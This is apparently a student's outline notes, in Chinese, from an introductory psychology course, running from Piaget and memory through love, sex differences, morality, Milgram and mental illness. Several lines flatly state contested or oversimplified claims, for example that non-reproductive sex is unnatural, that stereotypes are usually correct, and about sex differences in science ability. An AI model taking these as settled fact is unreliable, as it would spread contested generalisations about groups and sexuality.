
  • 动物一定要惩罚或奖励才能学习吗？

    • 错误
    • 不设奖励的情况下，动物自己也能学习
    • 白鼠也有心理地图

  • 对于学习，真的没有物种局限性吗

    • 否

  • 加西亚效应

  • 第一次吃某种东西，恰好生了重病，感到恶心，此后就会非常讨厌这种食物

    • 专门针对味道和恶心的术语

阅读资料

  • 乔姆斯基的《言语行为评述》

婴儿如何思考：思维的发展历程

皮亚杰的认知理论

  • 儿童是主动思考者，小科学家，有宏伟的目标，研究的初衷是认知的起源

  • 胚胎重演率

    • 个体的发展模拟或重演了种族的发展
    • 是错误的观点，但是皮亚杰对此深信不疑

儿童的认知机制

  • 同化

    • 反应范围的扩大
    • 吸吮乳房，改变去吸吮其他的东西

  • 顺应

    • 改变行为方式
    • 改变吸吮的嘴型

  • 皮亚杰认为这两种机制帮助儿童跨越各个阶段

阶段理论

第一阶段：感知运动阶段
  • 儿童是纯粹的自然生物，对外界没有真正的认知
  • 只是触摸，感知
  • 逐渐发展起客观永存性的概念，知道某人或物品虽然看不见，但是知道他们仍然存在
第二阶段：前运算阶段

  • 逐渐拥有表征事物，在头脑中构建世界，但是这种能力有局限

  • 儿童是自我中心的，没有意识到别人眼中的世界与自己眼中的不同

    • 三山实验
    • 儿童不会从另一个角度画山

  • 守恒

    • 物质某方面的特征不会因为其他方面特征的改变而改变
    • 比如一杯水倒进另外一个更深的杯子，水量没有变化
    • 但是儿童不知道这一点
第三阶段：具体运算阶段
  • 7-12岁，儿童可以解决守恒问题，但抽象推理能力有限
  • 有能力进行一些逻辑思考，但局限于具体情境

成功之处

  • 有趣而且可证伪的理论
  • 在皮亚杰之前没有人注意到守恒的问题

局限性

  • 是否真的解释了儿童思维如何从具体到抽象
  • 非常热衷问与答的方式进行研究
    • 但是儿童的语言能力不足，可能导致对于儿童认知能力的低估
    • 在心理学中，研究方法是一个重要的方面

婴儿认知的现代科学研究

旧识

  • 婴儿是愚蠢的，对世界一无所知

新知：婴儿比想象中聪明

  • 但不能用问答的方式，必须用精巧的方法

    • 观察脑电波
    • 观察婴儿的注视

  • 习惯化和惊奇

    • 向婴儿经常呈现一个东西，它会厌倦，呈现新东西，它会注视的时间更长

  • 婴儿对数字也有感觉

婴儿的认知发展

  • 神经元的成熟

    • 在子宫里就有所有的神经元，在发展中，更多的去除神经元，神经结构发生变化，神经元之间的联结在疯狂生长，突触发育在2岁达到顶峰。髓鞘的形成也贯穿发展过程。青少年的髓鞘发育都为完全形成，他们的额叶还没发育成熟

    • 抑制的问题，与额叶有关

      • 婴儿缺乏控制力

        • 婴儿伸手去取A，反复伸手，但是如果A被拿走，它仍然向同一个位置伸手
        • 却注视着物品被移到B的位置

      • 与控制力相关的区域没有被激活

  • 婴儿一出生就有社交偏好

    • 是天生的模仿者

      • 如果接近一个新生儿，做鬼脸，婴儿也会学习
      • 对面控有偏好

  • 难题：婴儿对某些方面是没有认知的

    • 儿童不知道人们可以通过欺骗去做某些事情
    • 儿童无法解决抑制的问题

  • 皮亚杰认为儿童发展会发生面的改变

  • 另一个观点是存在模块，相互之间独立

    • 模块是什么

      • 客观模块
      • 社会模块
      • 直觉生物学……

    • 发展障碍有时候 IU 只对一个方面起作用，对其他模块没有作用

      • 比如孤独症，社会功能的区域不发展

其他

  • 对于发展心理学的研究可以解释成人问题
  • 万物如此，皆因其本

思想，语言和手语

语言

  • 语言就是行为

两个重要事实

  • 所有语言都共享一些深层而复杂的共性，至少能表达抽象概念

    • 概念，方位

  • 如果掌握了一种，就不用去掌握另一种

    • 任何完善的语言理论，都必须谈及不同语言之间的区别和共性，这是语言学家和心理学家的难题

    • 人类有说话的本能，儿童会想说话，但却没有烘焙或写作的倾向。——达尔文

  • 所有人类社会都有语言

    • 但也可能因为语言是一种创新，被大家接受，不一定是天生的

    • 一代人之内可以创造语言

      • 奴隶交易的人们，来自不同语言背景的劳动者在一起创造一种临时的交流系统，混杂语言。在这种社会长大的儿童，却不会学这种混杂语言

    • 语言的理解，使用是人类本能

语言

  • 语音

    • 声音系统

    • 有子集

      • 40 个音位

    • 母语实际上用心理断句来分别一个又一个单词

  • 语态

    • 符号任意性

      • 我们可以拿任何意象，来发明一个词语与之联系
      • 索绪尔的定义
      • 语言允许任意的符号，任意映射

    • 语素是语言的最小单位

  • 语法

    • syntax

    • 有限域的无限应用

      • 递归

        • 使有限的符号变成无限的句子

      • 有组成系统

      • 音乐也有组合系统

      • DNA也有

      • 这种无限机制是传递的

      • 在句子和结构中的模糊性

  • 《语言本能》

  • 乔姆斯基认为语言学习是一种发育过程

  • 语言的时间进程

    • 刚出生的婴儿能听出法语和俄语不同，刚开始暴露在什么环境就认为什么语言好听

    • 7个月开始学语

      • 暴露在手语环境的孩子学起来是一样的

    • 12个月开始使用他们的第一个词

      • 对词语次序敏感

    • 18个月

      • 说短句子

    • 7岁开始到青春期

      • 语言学习能力逐渐下降
      • 青春期之后学习新语言有问题

  • 动物有语言吗

    • 动物有自己的交流系统

    • 但是从狭义的语言定义来说，动物没有语言

    • 灵长类动物

      • 争议
      • 与人类学习语言不同
      • 不是因为聪明。聪明的人类也可能有语言障碍
      • 人类和黑猩猩有明显的区别

  • 语言和思维之间的关系

    • 抽象思维必须有语言参与吗

      • 对无语言生物的研究，在没有语言的情况下是否有对抽象思维的认知障碍

    • 一旦你了解了一门语言，这种语言的结构特性是否会影响你的思维方式？

      • 语言相对论

大脑损伤可能导致语言的损伤

  • 也有特殊言语损伤

    • 一出生就没有别人学习语言的能力

感知，注意与记忆

感知

概念

  • 关于世界的可靠的无意识猜想

人类视觉

  • 视网膜大量视神经细胞，因刺激发放信号（信号是一个数组集合）

  • 视网膜是一个二维平面，人在这个平面中发展出三维世界，因为我们拥有关于世界如何运作的无意识假设

  • 颜色

    • 煤球和雪球怎样区分
    • 物体的颜色不仅取决于他们的组成材料，还取决于照射在上面的光的数量
    • 传到你眼中的信息只是冰山一角，作为一个假设，供你做出判断

  • 物体

    • 人，鸟，树，房子

    • 怎样做到的？

      • 格式塔原则
      • 以邻近性为原则，相近性

    • 纹理梯度

      • 有纹理的物体自己会先暴露出来

  • 深度

    • 视觉错觉

      • 与大脑对深度的感知有关

注意

  • 关于机器人视觉的研究和尝试，已经彻底失败

  • 我们注意某些事物，忽略其他事物

  • 进入记忆的信息由什么决定？

    • 注意决定

      • 投影在经历中的摄影灯自动集中在某些事物上

    • 变化盲视

  • 我们的注意力非常狭窄

    • 经典实验

      • 我们忙着事情的时候，对其他事情视而不见

记忆

关键

  • 组织和理解

分类

感觉记忆
  • 闪电之后的
  • 心不在焉的谈话，记住一小部分
短时记忆

  • 工作记忆

  • 非常有限

    • 比如记忆一组数字

    • 短时记忆记住的大概7±2的组块

    • 组块是短时记忆的基本单位

      • 怎样组块，影响信息量
      • 比如8个字母，组成两个单词
      • what make sense to them
长时记忆

  • 能够储存

  • 没有人知道储存量到底是多少

    • 在大脑中的长时记忆储存了海量信息

  • 怎样从短时记忆变成长时记忆

    • 保持性复述

      • 有用，但是效果一般
      • 只有不断重复，才能记住
      • 通常不能转成长时记忆

    • 需要将信息结构化，进行组织

      • 深度加工实验

        • 关注外形时，记忆差，关注发音时，稍好，关注意义时，记忆最好

      • 最好的记忆方法就是给它意义，sense

        • 古老的记忆术：把杂乱的信息通过生动的图像，歌曲，诗歌来记忆

      • 组织越充分，理解越深入

    • 理解信息

      • 放进特定的情境

      • 提供线索

      • 编码和提取

        • 相容性原则

          • 你对已经学得内容中信息的记忆会比较好。情景依赖记忆（状态依赖记忆）

            • 如果回忆一堂课的内容，回忆在这个教室的情境会让人记忆更好
            • 在微醺的时候记忆的更多
            • 甚至适用于心境，在抑郁的时候记忆的东西，在同样抑郁的时候容易回忆起来

        • 精细描述和提取

          • 你对信息思考的越多，你越容易回忆起来

          • 想想如何向别人解释

          • 想像一下如果这样将怎么样，，，

          • 建立起所学和已知之间的关系

          • 记忆幻觉

            • 你感觉某事发生过，即视感
            • 前额叶受损会加剧这种情况
            • 确实曾经发生过，在半秒前发生过。大脑出现小差错。
外显记忆
  • 能意识到的
  • 昨天晚上吃什么了
内隐记忆
  • 没有意识到，但是能够做到
  • 如何骑自行车
语义记忆

  • 对客观事实的记忆

    • 加拿大首都
情景记忆

  • 自传性的

    • 我上周出去度假
遗忘
日常遗忘
  • 学说
    • 大脑是一个生物体，会衰老
    • 你试图记忆的信息越多，会阻碍新信息的吸收
    • 提取线索有所变化
      • 时间越久，世界越变化，越依赖于提取线索。如果线索发生变化，回忆就变得困难
脑损伤遗忘
  • 逆行性遗忘
    • 失去对过去的部分记忆
      • 严重事故之后，会失去被撞前的一段记忆
  • 顺行性遗忘
    • 遗忘-虚构
      • 科尔萨科夫综合症
      • 失去形成新记忆的能力，永远都活在当下
      • 这些病例中的脑损伤是颞叶和海马体，从患者身上发现他们可以形成一些新记忆，但是只局限于某些方面。反复做一件事，他们会形成内隐记忆，但是没有外显记忆
      • 电影《记忆碎片》展示了在严重的失忆中，什么是不曾被遗忘的
    • 极端的例子可能让我们知道正常的大脑如何进行
记忆灌输
  • 小孩的记忆可能被灌输
  • 可能受到暗示，认为一个比较坏的人真的撕了书
  • 对成人灌注虚假记忆
  • 个体如何向别人灌输记忆
    • 有些人convinced认为自己有罪
    • 催眠，引导性的问题，重建记忆
      • 我们在催眠状态下对过去的回忆并不准确
      • 事实上并不存在记忆重置
      • 在催眠状态下，人们会很想取悦催眠师，编造一些东西，编的很认真
      • 回忆四岁的生日派对，会表现得像一个成人眼中的四岁孩子
      • 催眠让你释放出了想做演员的你
压抑记忆
  • 造成精神创伤的性虐待
  • 人们知道发生了什么，但是人们并不记得在什么时间发生了什么事情
  • 记忆是否会被抑制并没有定论
闪光灯记忆
  • 911 的时候你在哪里
    • 对于 911 的回忆，我现在回想起来的很可能是我丈夫对那天的回忆
  • 那些非常生动的记忆，我们站在哪里，发生了什么事
  • 这些记忆并不可靠
童年遗忘症
  • 并不是大脑受损，而是很难回忆起儿童的记忆
  • 回忆自己最早的记忆是什么？
    • 大约两岁
  • 儿童所受的创伤长大之后没有回忆了
  • 大多数人回忆三岁之前的事情都有困难
    • 可能因为语言的学习，在三岁的时候重新格式化了记忆
    • 可能是神经的成熟，两三岁才成熟
    • 真正的原因现在还没有人确切知道

记忆的阶段

  • 编码

    • 为考试而复习

  • 储存

    • 记忆的保持

  • 提取

    • 将记忆去除

    • 分类

      • 回忆
      • 再认

意识的呈现

变化盲视实验

  • 你觉得你在感知这个世界，实际上没有

进化、情感和理性：爱

爱的描述

  • 斯滕伯格的爱情三角理论

    • 亲密

      • 和某人练习非常紧密，分享秘密，别人不知道

    • 激情

      • 生理上的吸引

    • 承诺

      • 承认这是爱情，并且愿意维持爱情

  • 如果只具备其中的一个或两个因素

    • 只有亲密：喜欢式爱情

      • 存在于很多友情之中

    • 没有距离感，有秘密

      • 但没有生理的吸引

    • 只有激情：迷恋式爱情（infatuation）

    • 只有承诺：空洞式爱情

      • 通常是濒临破裂的感情的之后阶段

    • 纯粹了孩子而生活在一起

      • 在包办婚姻中，初始阶段是这样的

    • 离婚的可能性却更小

    • 亲密和激情：浪漫式爱情

      • 爱情经常以这个方式开场

    • 亲密和承诺：伴侣式爱情

      • 最好的朋友，一生一世
        • 希腊哲学中的理想爱情

    • 激情和承诺：愚蠢式爱情

      • 闪婚

        • 只有激情的承诺，但长久维持不太可能

      • 三者兼有

        • 完整的爱情

爱吸引研究（社会心理学）

三大因素

  1. 空间距离近

  2. 相似相吸引

  • 双方越相似，被对方吸引的可能性越大

  • 在年龄和身高上尤其是

  • 彼此不同的人没有吸引力

  1. 熟悉度

  • 已经熟悉的人，会发现对方非常迷人

  • 这三大因素在其他因素相同的情况下，与吸引力成正相关

四个有趣因素

能力

  • 对有能力的人更花痴

    • 但是那些能力超群的，全能型的人，我们感到恐慌，因为自惭形秽

  • 失态效应

    • 对我们真正魅力的是那些偶尔失态的能人
    • 他们犯错后，我们对他们的喜爱反而油然而生
    • 公众人物出丑后更让人喜欢

  • 艺术

    • 失态效应是一个艺术
    • 但是最重要的是，首先一定要非常有能力！
生理吸引力

  • 外表是决定从约会到结婚的第一因素

  • 长相对于关系来讲最重要，但是人们往往口是心非

  • 实验

    • 非常漂亮的女人当别人对自己评价高时，非常开心，对自己评价不高时，非常沮丧
    • 而不好看的女人怎么评价自己，根本不在意
得到和失去
  • 比起稳定状态，我们对变化更敏感
  • 增益效应 ：对你不好的人，对你变好，会引起我们的注意
  • 流失效应 ：真正伤害我们的人并不是那些看轻我们的人，而是一直对你好的那个人，开始冷淡你
性觉醒的错觉

  • 张冠李戴，误认为是爱

  • 做过山车会对对方产生错觉

  • 摆桥实验

    • 缺陷

  • 心脏跳动的声音都会引起对一个女郎的 arousal

演化、情感、理性之进化的合理性

惊人的假说

  • 达尔文的危险思想
  • 生物结构的进化过程是纯自然的
  • 为了生存和繁衍后代

自然选择三个组成部分

  1. 物种之间的差别
  2. 这种差别对生存和繁殖产生不同影响
  3. 并一代一代传下去

心理学中的进化论

两个错误观点

  1. 我尽可能传播我的基因

  • 错在没有把终极导因和引信导因区分开

    • 终极导因是某事物在数百万年的历史中，存在的第一原因
    • 引信导因是指现在做某事的原因

  • William James 有很棒的回答

    • 有人问人们为什么吃饭
    • James 回答
      • 十亿人中不会有一个人吃饭时会考虑其目的
      • 人们吃饭时因为食物味道好，并且想多吃点

  • 我们养育后代，并不是因为他们继承了我们 50% 的基因，而是我们爱他们

  • 有些事情可以用进化论解释，有些不能，就是从我们日常生活的角度解释就好

  1. 自然选择使得事物都具有适应性
  • 自然选择将适应性与副产品和意外区分开来
  • 人老了会背痛，是背部形态的意外副产品，不是自然选择的结果
  • 很多事情都是进化意外
  • 音乐是适应性还是意外？

心理或思想是否是进化

  • 可以告诉我们什么是天生的，什么不是

    • 伴侣选择，都是有生物适应性的，可能是对的，可能不对，但是并不疯狂
    • 最近产生的事情，我们的大脑应付不来，不可能说大脑的某一个部位专门负责某件事

  • 讨论人与人的不同

    • 对我们应该期待什么样的群体差异有解释
    • 什么样的差异应该存在，什么样的差异不应该存在
    • 孩子和成年人应该不同

  • 当你从设计的角度看某事物，从它为什么会存在的角度，会发现它鲜有的本性中发现有趣的见解

    • 怀孕女性的晨吐反应
      • 有生物目的性
      • 婴儿在子宫发育时，对各种有害或致畸物质没有抵抗力
      • 孕期反应是一段敏感期，对可能伤害到宝宝的食物感到恶心
    • 人类不被自己的兄弟姐妹性吸引，是进化出来的

人的理性

  • 《思考快与慢》：我们不是逻辑思考者，而使用简单快速的直接推论法

  • 这些直接推断法在我们的进化中有重大作用

  • 框架效应

    • 问题的框架能够影响决策
    • 聪明的广告商和决策者会以不同的形式构架问题，来突出不同的重点
    • 汉堡广告 80% 没有脂肪，20% 含脂肪

  • 禀赋效应

    • 当人们拥有了某样东西，它的价值上升了
    • 因为被框架过了

  • 基础概率

其他灵长类动物是否有微笑

  • 没有
  • 它们不会用微笑打招呼，也不把微笑当成幸福的流露

演化、情感、理性之情感

错误情感理论

  • 认为人们没有情感会过的更好

Phineas Gage 例子

微笑

杜兴微笑

泛美微笑

人类之间的差异

差异的两个因素

性格

描述性格
  • 人们对待世界的方式
  • 对待他人的方式
性格的评定方法

  • 可信度

    • 没有评测误差
    • 在不同的时间，测试同一个人，得到相同结果。

  • 有效性

    • 你的测试能够测出我们想要测出的东西

    • 比如测试智商的测验

    • 罗夏测试用来检测精神病，美国心理学会推荐用

      • 墨点测试
      • 罗夏测试非常无用，但是很多人喜欢它，使用广泛
      • 和心理标准一样无用
人的性格在多少方面是差异于别人的？

  • 艾森克认为两个

    • 内向
    • 外向

  • 卡特尔认为十六种

  • 最近心理学工人的大五类

    • OCEAN 缩写

      • OPENNESS（开放-不开放）
      • CONSCIENTIOUSNESS（尽责-不尽责）
      • EXTROVERSION（外向-内向）
      • AGREEABLENESS（随和-不随和）
      • NEUROTICISM（神经质-平和）

    • 为什么这种方式可靠

      • 长期测试的结果稳定（尤其是 30 岁之后）

      • 不同观察者测试也能得到同样结果

      • 可以成为预测现实世界的方法

        • 尽责可以预测对伴侣的忠诚度
        • 开放性暗示你跳槽的可能性
        • 外向人喜欢直视对方

智力

定义
  • 准确定义比较困难
  • 直觉告诉我们，有些人聪明，有些人更聪明，有些人愚蠢
两种智力

  • S（Specific，特定）

    • 在特定测试中的能力
    • 比如智力测验

  • G（General，总体）

    • 总体智力水平
    • 非常重要
    • He‘s a high G

  • 对 IQ 测试广泛的共识

    • 持久性定理
    • 有实际意义和社会意义

为什么人与人是不同的？

基因

  • 我们讨论的是基因影响的幅度，而不是基因决定的特征

  • 令人震惊的是，分开成长的同卵双胞胎仍然非常相似

    • 他们的大脑扫描显示非常相似

  • 在同一家庭成长的没有血缘关系的人，其智商也没有相关性

  • 基因在几乎所有的事情上都有重大影响

    • 智力
    • 性格
    • 开心程度
    • 宗教信仰
    • 政治立场
    • 性取向

  • 个体的高度遗传性是不是意味着组间差异也是遗传造成的？

    • 完全不是
    • 个体的差异性并不能传到组间差异

环境

  • 共享的环境

    • 你是神经病，是因为有糟糕的父母，可以推断你的兄弟姐妹也是神经病

  • 非共享环境

    • 你是神经病，是因为外星人攻击了你的大脑

  • 在现实中很难把基因和环境区分开来

  • 组间差异由有环境因素决定的，而非基因因素

    • 智商高低与遗传基因相关程度低于与社会因素相关程度

      • 别人怎样对待你，评价你，对智商的影响更高

    • 基因没有差异的前提下，个体的智商也存在区别

      • 弗林效应
      • 个体的智商逐年增加，我们比父辈的智商更高
      • 但是基因病没有什么变化

  • 子女和父母之间毫无疑问地有相关性，怎样解释这个相关性？

    • 父母和子女有相同的基因

什么激发我们

性爱

  • 人们喜欢性爱，但实际上用在性爱上的时间特别少

  • 为什么进化成男女两性，是一个谜题，因为只继承了一半的基因

  • 性爱是生物适应性

  • 非生殖性的性爱

    • 是违背自然的

两性差异

生殖细胞

  • 雄性小
  • 雌性大

体型差异

  • 雄性体型更大

亲代投资理论

  • 能曾经单个子代存活的几率，牺牲对子代其他个体的投资

  • 雌性的亲代投资比雄性大很多，她们怀孕，孵化，在每个子女身上都话费精力

  • 雄性则不用，只要有精子就可以了

  • 雄性可以使几个雌性同事怀孕，而使得一些雄性没有伴侣

  • 雌性也需要竞争来找到最好的雄性伴侣，来让子女能够存活

  • 雌性很挑剔，雄性需要打败其他雄性来获得反之机会

攻击性

  • 雄性进攻性更强
  • 小时候更 aggressive
  • 在子宫里更喜欢踢人
  • 长大之后，在监狱里男人更多
  • 男性荷尔蒙，睾丸激素
  • 人类和其他灵长类都是

性爱选择

  • 男性女性对于艳遇的期待成都不同

  • 亲代投资理论，男人更乐于艳遇，只有好处，没有伤害

  • 娼妓是所有男人感兴趣的，男人描写女性裸体是为了唤起激情，色情作品在猴群中也有市场

  • 性爱多样化？

    • 柯立芝效应
    • 男人更喜欢与多人发生关系

  • 男女性行为的区别

  • 女同性恋更专一

性魅力（跨文化一致）

共性

  • 每个人都喜欢善良和聪明的人

  • 每个人都喜欢美人

    • 美丽是诅咒

      • 很多著名演员都抱怨人们忽略了他们的成就

    • 美的两个标志

      • 年轻

        • 大眼睛，丰满的嘴唇，紧致的皮肤

      • 健康

        • 体态好，眼睛明亮，大众脸

        • 大众脸？

          • 已经非常有魅力了，没有明显缺陷
          • 综合很多人的脸的人，好看
          • 婴儿都更喜欢大众脸
差异
  • 女人更看重权力和对子女的投入
    • 不在意男人的年龄
    • 因为不影响精子质量
  • 男人看重生育能力
    • 20 岁和 50 岁的女人区别很大
对两性期望值不同的原因
  • 社会因素
  • 一片申请论文的名字是 john smith 和 joan smith，人们的反应不一样
同性相斥

  • 从 4-11 岁，这种排斥越来越像

  • 移情

    • 核心性别差异

      • 男性天性同情心比较少
      • 男性社会认知比女性差
男性在科学和工程上更出色
  • 充满争议

性取向

  • 98% 的女人是直女，96% 的男人是直男

  • 是先天的，他们自认为道德上不好

  • 也不是受到青春期的性行为的导致

  • 绝对同性恋是进化的谜题

    • 不符合生物适应性
    • 为什么有些男人不喜欢和女人做爱
    • 进化的角度，这种基因应该被淘汰了

道德

道德情感

怎样进化

  • 亲缘选择

    • 有利他主义的动物，保护和他们有相同基因的动物
    • 人们对别人慷慨，可以用进化解释

  • 合作

    • 动物进化了，克服囚徒困境
    • 产生了情绪

个体道德情感怎样发展

  • 移情（empathy）

    • 我不会对你的痛苦无动于衷

    • 婴儿很讨厌听到其他婴儿哭，黑猩猩也不愿意看到同伴痛苦

    • 移情和道德没有必然关系，这是亚里士多德的观点

      • 事实上，移情确实会让我们产生道德，对别人好

    • 精神变态者没有本能的移情能力

  • 内群体与外群体

    • 人们对别人并非一视同仁，人们更喜欢自己的群体

    • 后天形成的群体能极大地控制你的道德情感

    • 罗伯洞穴实验

      • 也是让敌对国家协作的方法

    • 群体是如何形成的？

      • 非常简单

道德判断

  • 好坏之分，公平和不公平

  • 三个特点

  • 共性

    • 这些共性会出现在小孩子，甚至是灵长类
    • 基本的直觉包括，对欺骗者愤怒，对分享者感激等等

  • 人类差异

    • 有些人认为吃肉有问题，有些人认为没问题
    • 有些人支持女性工作，有些人反对

  • 三种不同的道德体系

    • 自治道德 vs 集体道德

    • 强调自由，民主

      • 西方的道德体系

    • 只要不伤害别人就可以

  • 但是有问题

    • 亲兄妹之间的性爱，用了避孕措施，两人都喜欢这个体验，但是决定以后再也不做了
      • 大部分人认为这个不可以，这是道德困境，虽然是自治道德，但是觉得恶心
      • 认为可以的人真的是遵守自治道德
      • 认为不可以的，说明道德还受到其他意识的因素影响

  • 男女的权利，受自治道德影响的认为他们平等，如果是集体道德，认为男女不同，义务不同

大屠杀为什么会发生？

Milgram 的实验
  • 耶鲁的教授，有惊人的想象力，也发明了六度分隔理论
电击实验

  • 什么情况可能电死别人

    • 有权威
    • 电击者的自信程度
    • 电击者与被电击者的距离，隔着距离容易下手

  • 什么情况下最不可能电死别人

  • 有人说参加实验很开心，只有2%的人认为不开心。人们发现如果有人叫他们去杀人，他们真的会去杀。

  • 如果在现实生活中，怎么办

使人变坏的两个力量
  1. 使自己去个性化

  • 责任扩散

  • 减少责任的方法

    • 匿名
    • 接受命令

  • 集中责任

    • 只有一个人，最容易有责任感
    • 在闹市中遇到困难，大喊救命没有用，一定要指定某个人做这件事
  1. 抹杀行恶对象的个性

  • 利用心理距离和物理距离

    • 将人非人化
    • 幽默是一个贬损他们的一个利器
    • 把别人的名字去掉，他们的权威性就降低

  • 反感

    • 人会让人反感，他们的重要性就降低
    • 令人反感的属性，可以放在人身上
    • 典型的纳粹宣传，都用过反感这个手段，来抹杀人性，使得更容易杀害他们
使人变好的两个力量
  1. 接触

  • 和他人的简单接触，尤其是出于平等的社会地位，会使你更喜欢别人

  • 当人们有了共同目标，人们接触

    • 军队是一个好例子
    • 为了共同目标，人们发生接触，处于一个公平的地位

  • 如果从别人的角度出发，会更喜欢他们

    • 请求哪些白人从黑人的角度进行思考
    • 我们让孩子从对方的角度考虑

  • 利用隐喻的力量

    • 关心动物，把它当成人一样
    • 称别人为兄弟姐妹
  1. 互相依赖

  • 是自私基因理论的延伸

    • 人们互相关心，出于自私
    • 但互依性产生了道德

道德行为

自我和其它

六度分隔理论

  • 创始人 Milgram

  • 有一半包裹经过了两个人，也就是连接者

  • 在社会生活中，network 很重要，比如找工作

三个关于自我的主要发现（社会心理学）

  1. 聚光灯效应

  • 我们会系统地高估了别人对自己的注意力

  • 人们其实都忙着注意自己，并不是注意别人

  • 觉得自己很重要

  • 临终之人总是后悔自己没有做某事

    • It would look silly
    • 事实上别人根本不会注意是不是 silly
  1. 认为自己比别人更优秀

  • 透明效应

  • 我们认为自己比实际中更能看透

    • 人其实很会撒谎
      • 人自我感觉良好

  • 乌比冈效应

  • 人都会偏心地认为自己比一般人优秀

  1. 为自己的行为找理由
  • 《当预言失灵时》
  • 欺凌新人，是一种让人喜欢这个群体的方法
  • 运用了认知失调
  • 不收钱的心理治疗往往没什么用
  • 奖励孩子一定要慎重
    • 如果给孩子太多奖励，他们会贬低所做的活动的价值

自我看待与看待他人

  • 归因理论

    • 我们通常把别人的行为归因为他们的性格原因，他们固定不变的一面

  • 个体偏向

  • 基本归因错误

    • 心理学的核心观点

    • 人们过多地归因于人身上，并不是实际情况

      • 极端例子发生在演员身上，演医生的演员收到了上千封求医的信
      • 跨文化视角
        • 东方的人们在八岁就不再犯基本归因错误
        • 因为东方人更看重命运，更多归因于实际情况
        • 但是在西方，人们认为命运掌握在自己手里，就会把演员和角色混淆

两个行为准则（社会心理学）

  1. 对自我的放大
  2. 对他们的过于简化

喜欢别人的原因

  • 邻近性

  • 熟悉

    • 越看某个东西看多了，就会越喜欢
    • 眼熟的让人喜欢

  • 相似性

    • 朋友之间都相似
    • 可以预测婚姻是否能成功

  • 喜欢长得好看的人

    • 好看的人会被认为更有能力，更会交际，更聪明，更有道德

      • 大人认为丑小孩行为不当的时候，因为行为丑陋
      • 法官会判丑人更长的刑罚

    • 买台效应

      • 凡有的，还要加给他

印象的形成

  • 第一印象非常重要：确认偏向

    • 一旦相信了某事，其他的都作为确认这个的证据

  • 第一印象形成很快

  • 什么使得我们对别人形成了第一印象

  • 他人的看法对人们的影响

    • 皮格玛利翁效应
      • 我相信你有某种特点，就导致你相信你真的有这个特点一样
      • 老师认为的聪明孩子，IQ 果然提高了
      • 我们的期望能够产生很大影响
    • 评价对群体也有影响
    • 我们怎样评价人类群体

  • 刻板印象

    • 通常是对的

    • 给人划分类别，并不都是坏事

    • 对群体的刻板印象，和对其他物品的刻板印象一样，都是正确的

    • 受媒体影响

    • 刻板印象能产生道德问题

      • 评价不同人种，即使是正确的，也有道德问题

    • 自己所在群体的刻板印象，会影响自己的表现

      • 比如亚洲人数学好，那么我更容易表现的数学好

    • 三个层次的刻板印象

      • 公众刻板印象

      • 不会说出来的刻板印象，但是我心里清楚

        • 比如不会投票给黑人候选人

      • 刻板印象会在潜意识起作用

        • 内隐态度（implicit attitude）
        • 比如把白人和积极的联系在一起

未解之谜

睡眠

  • 睡眠是动力

  • 睡眠很难研究

  • 脑电图

    • 睡眠实验室，观察睡眠的闹点活动

  • 睡眠的几个阶段

    • 过渡期

    • delta 波

    • 快速眼动睡眠

      • 有梦境

    • 一夜循环四五次

  • 两种睡眠

    • 慢波睡眠

    • 快速眼动睡眠

      • 大脑活动，与清醒时相同
      • 男人会勃起

  • 梦

    • 大多数的梦是不好的
    • 最大的比例是梦到被追，这是非常原始的

笑

  • 让人笑的原因，并不是玩笑或幽默

  • 通常引起笑的场景并不是很好笑

  • 有传染性

    • 孩子特别容易受到笑的传染
    • 其他灵长类动物也有这个特性
    • 猴子打架的时候笑
    • 黑猩猩咯吱的时候笑

精神病

界定

依据

  • 社会规范

  • 目标对象的某些特征

    • 一个男人哭是很异常的

  • 情景

三个特征

  1. 痛苦

  • 给别人能带来痛苦的行为，是变态或不健康

  • 抑郁症

  • 造成别人的痛苦，反社会性人格障碍

  1. 功能失常
  • 一系列行为让人无法正常生活
  1. 异常
  • 受到社会规范的影响，有争议
  • 在一个文化中正常，在另一个中不正常

精神病的特征

抑郁症

分类

单向抑郁症

  • 悲伤，快感流失

  • 显著的体重或胃口变化，食欲减退或暴饮暴食

  • 睡眠障碍，失眠，难以入睡或嗜睡

  • 精神运动迟缓或激越

    • 所有的动作都慢下来，慢慢走路
    • 非常亢奋，坐不住，但是激越很少见

  • 疲劳，起不了床

  • 无价值感，觉得所有的都是自己的错

    • 想要自杀，因为觉得给世界带来苦难
    • 消极自尊，看不起自己，觉得自己笨，丑

  • 精力不集中

    • 什么都决定不了，什么都想不了

  • 自杀念头和行为

    • 不限于抑郁症
双相情感障碍

  • 在抑郁和躁狂中转换

  • 躁狂，易怒，异常积极，至少持续一周

    • 自尊膨胀
      • 觉得自己最有创意、最强大，需要很少的睡眠
      • 更健谈，想法很快，想出很多大计
    • 大量的性滥交，到处赌钱，相信自己走大运
    • 没耐心，暴力

  • 也有一个恶化的过程

  • 1% 的发病率

其他

  • 非常常见（四分之一的女性有过）

  • 20 出头是高发期

  • 老人的抑郁症发病率很低

  • 女性与男性抑郁症患者比为 2:1

  • 基因决定不了抑郁症，基因和压力共同作用就会导致很高的抑郁症风险

  • 认知行为疗法

临床心理学

目的

  • 治疗心理疾病

心理治疗是否有用

  • 人的心情就是起伏的，人在状态最差的时候去看心理医生
  • 但是即使治疗没有用，第二天的心情也会变好，因为心情的起伏规律
  • 总体来讲有用
    • 因为接受治疗的，情况已经非常恶化
    • 不一定把病治好，但是可以好转

精神疾病的性别差异

  • 女性更易于患上焦虑症和情绪障碍
  • 男性容易得物质使用障碍，尤其是究竟上瘾
  • 男性更容易得反社会者（精神变态者）
  • 精神分裂男女差不多

精神分裂

  • 最常见（1% 发病率）
  • 但是非常严重，可怕
症状

  • 幻觉

    • 不真实的感觉体验
    • 幻听
      • 经常听到别人告诉他做什么事
    • 也有幻视

  • 错觉

    • 错误的、不应该有的信念

    • 错觉通常清晰，古怪

      • 相信自己是名人

    • 牵连观念

      • 各种各样的事情都是围绕着你展开
        • 比如人们窃窃私语都是在讨论你

  • 缺少正常思维或情感

    • 可能不会说话
    • 鲜有情绪反应，对任何事情都不感兴趣
类型

  • 偏执型精神分裂

    • 有人在密谋陷害
    • 妄自尊大
    • 觉得有超能力

  • 紧张性精神分裂

    • 重复别人说的话

  • 瓦解性精神分裂

    • 思维混乱，有错觉和幻觉
    • 胡言乱语，行为有可能带来伤害
根源
  • 无法整理思想，无法对自己的经验进行现实的时间排序
  • 与创伤有关
  • 于病毒性感染有关

其他

  • 本科毕业生将来有一半的人会患精神疾病，严重到需要心理治疗
  • 说一个人有精神疾病，有时候不是医学判断，而是道德判断
  • 《精神疾病诊断与统计手册》第四版
    • 可以诊断别人是否得了精神疾病，包罗万象
